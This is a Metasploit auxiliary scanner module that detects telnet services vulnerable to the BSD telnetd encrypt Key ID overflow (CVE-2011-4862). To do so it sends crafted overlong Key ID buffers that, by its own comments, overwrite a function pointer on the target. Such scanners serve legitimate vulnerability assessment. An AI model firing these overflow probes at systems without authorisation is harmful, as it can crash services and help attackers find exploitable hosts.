Telnet Service Encryption Key ID Overflow Detection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Telnet  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'Telnet Service Encryption Key ID Overflow Detection',  
'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)',  
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['BID', '51182'],  
['CVE', '2011-4862'],  
['EDB', '18280'],  
['URL', 'https://www.rapid7.com/blog/post/2011/12/28/more-fun-with-bsd-derived-telnet-daemons/']  
]  
)  
register_options(  
[  
Opt::RPORT(23),  
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])  
])  
end  
  
def to  
return 30 if datastore['TIMEOUT'].to_i.zero?  
datastore['TIMEOUT'].to_i  
end  
  
def run_host(ip)  
begin  
::Timeout.timeout(to) do  
res = connect  
  
# This makes db_services look a lot nicer.  
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)  
svc = report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_sanitized)  
  
# Check for encryption option ( IS(0) DES_CFB64(1) )  
sock.put("\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0")  
  
loop do  
data = sock.get_once(-1, to) rescue nil  
if not data  
print_status("#{ip}:#{rport} Does not support encryption: #{banner_sanitized} #{data.to_s.unpack("H*")[0]}")  
return  
end  
break if data.index("\xff\xfa\x26\x02\x01")  
end  
  
buff_good = "\xff\xfa\x26" + "\x07" + "\x00" + ("X" * 63) + "\xff\xf0"  
buff_long = "\xff\xfa\x26" + "\x07" + "\x00" + ("X" * 64) + ( "\xcc" * 32) + "\xff\xf0"  
  
begin  
  
#  
# Send a long, but within boundary Key ID  
#  
sock.put(buff_good)  
data = sock.get_once(-1, 5) rescue nil  
unless data  
print_status("#{ip}:#{rport} UNKNOWN: No response to the initial probe: #{banner_sanitized}")  
return  
end  
  
unless data.index("\xff\xfa\x26\x08\xff\xf0")  
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")  
return  
end  
  
#  
# First round to overwrite the function pointer itself  
#  
sock.put(buff_long)  
data = sock.get_once(-1, 5)  
unless data  
print_status("#{ip}:#{rport} NOT VULNERABLE: No reply to first long Key ID: #{banner_sanitized}")  
return  
end  
  
unless data.index("\xff\xfa\x26\x08\xff\xf0")  
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to first Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")  
return  
end  
  
#  
# Second round to force the function to be called  
#  
sock.put(buff_long)  
data = sock.get_once(-1, 5)  
unless data  
print_status("#{ip}:#{rport} NOT VULNERABLE: No reply to second long Key ID: #{banner_sanitized}")  
return  
end  
  
unless data.index("\xff\xfa\x26\x08\xff\xf0")  
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to second Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")  
return  
end  
  
print_status("#{ip}:#{rport} NOT VULNERABLE: Service did not disconnect: #{banner_sanitized}")  
return  
  
rescue ::EOFError  
end  
  
# EOFError or response to 64-byte Key Id indicates vulnerable systems  
print_good("#{ip}:#{rport} VULNERABLE: #{banner_sanitized}")  
report_vuln(  
{  
:host => ip,  
:service => svc,  
:name => self.name,  
:info => "Module #{self.fullname} confirmed acceptance of a long key ID: #{banner_sanitized}",  
:refs => self.references  
}  
)  
  
end  
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e  
print_error("A network issue has occurred: #{e.message}")  
elog('A network issue has occurred', error: e)  
rescue Timeout::Error => e  
print_error("#{target_host}:#{rport} Timed out after #{to} seconds")  
elog("#{target_host}:#{rport} Timed out after #{to} seconds", error: e)  
rescue ::Exception => e  
print_error("#{target_host}:#{rport} Error: #{e} #{e.backtrace}")  
elog("#{target_host}:#{rport} Error: #{e} #{e.backtrace}", error: e)  
ensure  
disconnect  
end  
end  
end  
`